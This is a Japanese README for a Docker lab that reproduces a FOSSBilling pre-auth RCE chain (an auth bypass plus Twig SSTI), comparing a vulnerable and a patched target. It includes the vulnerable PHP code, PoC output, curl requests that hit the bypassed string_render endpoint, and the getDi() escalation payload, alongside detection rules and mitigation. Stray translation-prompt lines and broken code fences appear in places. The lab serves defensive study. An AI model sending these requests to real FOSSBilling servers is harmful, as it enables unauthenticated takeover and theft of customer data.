
FOSSBillingの認証前RCEチェーン(CVE-2026-27604認証バイパス + CVE-2026-28496 Twig SSTI)を再現するDockerラボ。Python PoCとパッチ適用済みの比較対象を含む。
| CVE | 種類 | CVSS v4 | GHSA | 説明 |
|---|
| CVE-2026-27604 | 認証バイパス | 10.0 | GHSA-78x5-c8gw-8279 | API ロールチェッカーに throw が欠落しているため、管理者エンドポイントが未認証の呼び出し元に公開される |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | string_render API を介したサンドボックス化されていない Twig テンプレートレンダリング |
FOSSBilling は、無料のオープンソース請求およびクライアント管理プラットフォームです。バージョン 0.5.4 から 0.7.2 が影響を受けます。FOSSBilling 0.8.0 は両方の脆弱性にパッチを適用しています。
このラボでは、2 つの FOSSBilling バージョンを比較します:
| サービス | FOSSBilling バージョン | 目的 | URL |
|---|---|---|---|
| vuln | 0.7.2 | 脆弱なターゲット | http://localhost:8081 |
| patched | 0.8.0 | パッチ適用済みターゲット | http://localhost:8082 |
このローカルラボで検証されたチェーンは次のとおりです:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
パッチ適用済みのターゲット (0.8.0) は次を返します:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
ラボは意図的にローカル Docker サービスにスコープを限定しています。外部システムを対象とせず、ウェブシェル、マルウェア、永続化、外部コールバック、データベースダンプ、破壊的ペイロードは含まれていません。
Pre-Auth RCE は両方の脆弱性が連携して動作する必要があります:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
このラボでは、安全な算術証明 `{{ 7*7 }}` を使用してこのチェーンを実演します。`getDi()` を経由する完全な RCE パスは実演しません。
## 検証済みの事実
| 主張 | 証拠 | 検証方法 |
| ----- | -------- | ------------- |
| CVE-2026-27604 は FOSSBilling API のロール処理における認証バイパスです。 | GHSA-78x5-c8gw-8279: ロールチェッカーに throw が欠落しているため、/api/system/ が管理者として解決されます。 | PoC を実行: ゲストパスは拒否され、システムパスは管理者結果を返します。 |
| CVE-2026-28496 は FOSSBilling の Twig レンダリングにおける SSTI です。 | GHSA-57mv-jm88-66jc: string_render がサンドボックスなしで _tpl を Twig の createTemplate() に渡します。 | PoC を実行: サーバーが {{ 7*7 }} を評価し、49 を返します。 |
| 両方の脆弱性は FOSSBilling 0.5.4 から 0.7.2 に影響します。 | 公開アドバイザリが影響を受けるバージョン範囲を特定しています。 | 脆弱なターゲット (0.7.2) とパッチ適用済みターゲット (0.8.0) を比較します。 |
| FOSSBilling 0.8.0 は両方の脆弱性にパッチを適用しています。 | パッチ適用済みターゲットは、テストされたエンドポイントに対して「Unknown API call」を返します。 | ポート 8082 に対して PoC を実行します。 |
| 認証バイパスにより、未認証の管理者アクセスが可能になります。 | /api/guest/ は string_render を拒否しますが、/api/system/ は認証なしで結果を返します。 | PoC のステージ 1 を実行します。 |
| SSTI は攻撃者が制御するテンプレートを評価します。 | {{ 7*7 }} は脆弱なパスを通じて 49 を返します。 | PoC のステージ 2 を実行します。 |
| このチェーンにより Pre-Auth RCE が可能になります。 | 認証バイパス + SSTI = 管理者コンテキストでの未認証テンプレートインジェクション。 | 完全なチェーン PoC を実行します。 |
| PoC は HTTP のみです。 | poc.py は HTTP POST リクエストのみを送信します。 | poc/poc.py を検査します。 |
## 根本原因分析
### CVE-2026-27604: 認証バイパス
FOSSBilling API は URL パスからロールを解決します:```text
/api/:role/:module/:method
ロールチェッカーは、要求されたロールが許可されているかどうかを検証します。しかし、脆弱なバージョンでは、許可されていないロールに対する例外はインスタンス化されるものの、決してスローされません:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
例外がスローされることはないため、検証は静かに通過します。ロール `system` は cron 管理者 ID に解決され、認証されていない呼び出し元に完全な管理者 API アクセスを付与します。
セキュリティへの影響:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
system ロールは内部の cron 管理者 ID にマッピングされ、完全な管理者権限を持ちます。
string_render 管理 API メソッドはリクエストデータから _tpl を受け取り、サンドボックス強制なしで Twig テンプレートレンダリングパイプラインに渡します:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
`renderString()` メソッドは `createTemplateFromString()` にフォールスルーします:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
重要な問題: createTemplate($tpl) は攻撃者が制御する文字列から Twig テンプレートを作成し、サンドボックス制限なしでレンダリングします。このテンプレートはテンプレートコンテキスト内のオブジェクトにアクセスでき、getDi() を公開するゲスト API ハンドラーも含まれます。
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## ソースパッチの概要
FOSSBilling 0.8.0 は両方の脆弱性に対処しています:
**認証バイパスの修正 (CVE-2026-27604):**
ロールチェッカーは、許可されていないロールに対して適切に例外をスローするようになりました。
**SSTI の修正 (CVE-2026-28496):**
テンプレートのレンダリングは、サンドボックス化されたレンダラーを経由するようになりました:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
サンドボックスポリシーはデフォルトでメソッドとプロパティへのアクセスをブロックします:```php $methods = []; $properties = [];
このラボでテストされた公開APIパスについて、FOSSBilling 0.8.0はテストされたエンドポイントをまったく公開していません:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
ソースレベルの回帰チェックにより、より根本的な修正が確認される:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## ラボアーキテクチャ```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| サービス | コンポーネント | バージョン / 役割 |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 脆弱なターゲット |
| patched | FOSSBilling | 0.8.0 パッチ適用済みターゲット |
| vuln-db | MariaDB | 脆弱なターゲット用データベース |
| patched-db | MariaDB | パッチ適用済みターゲット用データベース |
| installer-vuln | curl sidecar | 脆弱なターゲットを自動インストール |
| installer-patched | curl sidecar | パッチ適用済みターゲットを自動インストール |
デフォルトで公開されるサービス:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
インストーラーのサイドカーは `docker compose up` 中に自動的に実行されます。それらは両方の FOSSBilling ターゲットをローカルの使い捨て認証情報で初期化し、その後終了します。
## 要件
* Docker Desktop または Docker Engine
* Docker Compose v2
* Python 3
* 初回の Docker イメージプル時のインターネットアクセス
Python のサードパーティパッケージは不要です。PoC は Python 標準ライブラリモジュールのみを使用します。
## クイックスタート
クリーンな状態からラボを起動します:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
サービスステータスを確認します:```bash docker compose ps -a
実行が想定されるサービス:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
インストーラーサービスの完了が期待されます (終了コード 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
インストーラーログを確認します:```bash
docker compose logs installer-vuln installer-patched
脆弱なターゲットに対してチェーン検証を実行します:```bash python3 poc/poc.py --url http://localhost:8081
パッチ適用済みのターゲットに対してチェーン検証を実行します:```bash
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
例:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
PoCは3つの段階で両方のCVEを検証します:
ステージ1 — 認証バイパス(CVE-2026-27604): ゲストAPIパスとシステムAPIパスを比較し、未認証の管理者アクセスを証明します。```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)
**Stage 2 — SSTI (CVE-2026-28496):**
バイパスされた管理エンドポイントを通じたサーバーサイドテンプレート評価を確認します。```text
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
ステージ3 — チェーン評価: チェーン全体の結果を要約します。
PoCはHTTPのみを使用します。Docker、Docker Compose、シェルコマンド、コンテナAPIは呼び出しません。
python3 poc/poc.py --url http://localhost:8081
(no content provided)```text
============================================================
CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
Scope: authorized local lab target only
Target: http://localhost:8081
============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================
[1a] Guest role: POST /api/guest/system/string_render
status=400
error={'message': '...', 'code': ...}
→ Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render
status=200
result=49
→ Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
CVE-2026-27604 CONFIRMED
============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================
[2] POST /api/system/system/string_render
body={"_tpl": "{{ 7*7 }}"}
status=200
response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
CVE-2026-28496 CONFIRMED
============================================================
STAGE 3: Chain Assessment
============================================================
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED
CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
python3 poc/poc.py --url http://localhost:8082
Please provide the Markdown content to translate.```text
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT
CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT
CHAIN RESULT: PATCHED — neither vulnerability is present
Target appears to be FOSSBilling >= 0.8.0
ゲストパス (拒否されるべき):```bash
curl -i -X POST
'http://127.0.0.1:8081/api/guest/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
システムパス(認証をバイパス):```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
脆弱なターゲットからのシステムパス応答:```json {"result":"49","error":null}
### パッチ適用後の比較```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
期待されるパッチ適用済みレスポンス:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
## 影響
このチェーンにより、FOSSBilling に対する未認証のリモートコード実行が可能になります。FOSSBilling は請求およびクライアント管理プラットフォームであり、以下の情報を保存している可能性があります:
* 顧客レコードおよび個人データ
* 請求データおよび支払い設定
* サーバー認証情報および API トークン
* 管理者アカウントおよびセッション
実証されたラボペイロードは無害です (`{{ 7*7 }}`)。`getDi()` および DI コンテナを経由した実際の影響チェーンには以下が含まれます:
* PDO を介した SQL 実行 (認証情報の抽出、データの持ち出し)
* 40 以上のアプリケーションサービスへのアクセス
* 拡張機能マネージャーへのアクセス (コード実行)
* アプリケーション状態の変更
* ファイル書き込みやコマンド実行パスと連鎖した場合のサーバー全体の侵害
単一の未認証 HTTP POST で DI コンテナに到達するのに十分です。この PoC はそのパスを実証していません。
## 検出と監視
疑わしいリクエストパターン:```text
POST /api/system/system/string_render
POST /api/system/* (any admin method via system role)
リクエストボディのインジケーター:```text _tpl, {{, }}, getDi, system, string_render
高シグナル検出ルール:```text
Rule 1: POST to /api/system/ from unauthenticated source
Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }}
Rule 3: Response contains "result" with rendered template output
推奨される監視アクション:
/api/system/ リクエストのアクセスログを確認する_tpl を含むリクエストを確認する{{、}}、getDi)を含むリクエストを確認する/api/system/ への成功レスポンスをアラートするFOSSBilling をバージョン 0.8.0 以降にアップグレードしてください。
推奨手順:
/api/system/* への外部アクセスをブロックする/api/system/ リクエストのアクセスログを確認するセキュリティエンジニアリングの教訓:
docker compose ps -a
docker compose logs installer-vuln installer-patched
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
curl -i -X POST
'http://127.0.0.1:8081/api/guest/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
mkdir -p evidence python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt docker compose ps -a | tee evidence/docker-ps.txt docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
## クリーンアップ```bash
# Stop containers
docker compose down --remove-orphans
# Stop containers and remove volumes
docker compose down -v --remove-orphans
# Remove evidence files
rm -rf evidence/
このラボは、ローカルでのセキュリティ研究および制御されたデモンストレーションのみを目的としています。
所有していないシステム、または明示的なテスト許可を得ていないシステムに対してPoCを実行しないでください。このラボでは、実際の本番環境の認証情報、顧客データ、APIキーを使用しないでください。
想定される範囲は以下に限定されます:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
このラボでは以下を実証しません:
* getDi() を介したリモートコマンド実行
* PDO を介した認証情報の抽出
* データベースのダンプ
* 拡張機能のインストール
* Web シェルのアップロード
* 永続化または横展開
* 外部コールバック
* ラボ以外のシステムに対する攻撃
## 参考資料
* **CVE-2026-27604** — FOSSBilling 認証バイパス
https://www.cve.org/CVERecord?id=CVE-2026-27604
* **CVE-2026-28496** — FOSSBilling SSTI
https://www.cve.org/CVERecord?id=CVE-2026-28496
* **GHSA-78x5-c8gw-8279** — 認証バイパスアドバイザリ
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
* **GHSA-57mv-jm88-66jc** — SSTI アドバイザリ
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
* **NVD — CVE-2026-27604**
https://nvd.nist.gov/vuln/detail/CVE-2026-27604
* **NVD — CVE-2026-28496**
https://nvd.nist.gov/vuln/detail/CVE-2026-28496
* **VulnCheck** — FOSSBilling 認証バイパスと Twig SSTI による未認証 RCE
https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
* **FOSSBilling GitHub リポジトリ**
https://github.com/FOSSBilling/FOSSBilling
* **FOSSBilling Docker イメージ**
https://hub.docker.com/r/fossbilling/fossbilling
* **Twig ドキュメント — Sandbox 拡張機能**
https://twig.symfony.com/doc/3.x/sandbox.html